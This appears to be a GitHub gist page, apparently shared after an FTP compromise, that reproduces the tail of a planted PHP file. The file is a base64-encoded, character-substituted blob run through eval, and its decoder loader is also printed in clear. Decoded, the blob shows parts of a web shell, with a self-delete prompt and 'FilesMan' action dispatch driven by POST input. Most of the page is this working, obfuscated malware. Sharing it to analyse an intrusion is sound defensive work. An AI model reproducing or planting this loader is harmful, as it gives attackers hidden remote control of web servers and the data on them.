CiB8ICAgICAgICAgICAgICcgLiAnICAgICAgICAgICAgIHwNCiA6ICAgICAgICAgICAgICAnLicgICAgICAgICAgICAgIDoNCiAgXCAgICAgICAgICAgLC0nJyctLCAgICAgICAgICAgLw0KICAgYC4gICAgICAgLyd8ICAgICB8J1wgICAgICAgLCcNCiAgICAgYC5fICAgOyAgfCAgICAgfCAgOyAgIF8sJw0KICAgICAgICBgLS46ICB8ICAgICB8ICA6LC0nDQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KICAgICAgICAgICAgICB8ICAgICB8DQogICAgICAgICAgICAgIHwgICAgIHwNCiAgICAgICAgICAgICAgfCAgICAgfA0KIjsNCiAgICANCiAgICANCiAgICANCiAgICA1Y2gyICc8YnI+SzRsbCBNNT88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgltMWRGMjJ0NXIoKTsNCiAgICANCiB9DQoNCg0KNGYoIDVtcHR5KCRfUE9TVFsnMSddKSApDQoJNGYoNHNzNXQoJGQ1ZjEzbHRfMWN0NDJuKSAmJiBmM25jdDQybl81eDRzdHMoJ20xZCcgLiAkZDVmMTNsdF8xY3Q0Mm4pKQ0KCQkkX1BPU1RbJzEnXSA9ICRkNWYxM2x0XzFjdDQybjsNCgk1bHM1DQoJCSRfUE9TVFsnMSddID0gJ0Y0bDVzTTFuJzsNCjRmKCAhNW1wdHkoJF9QT1NUWycxJ10pICYmIGYzbmN0NDJuXzV4NHN0cygnbTFkJyAuICRfUE9TVFsnMSddKSApDQoJYzFsbF8zczVyX2YzbmMoJ20xZCcgLiAkX1BPU1RbJzEnXSk7DQoJNXg0dDsNCj8+';eval($OOO0000O0('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Related: FTP hacked, planted file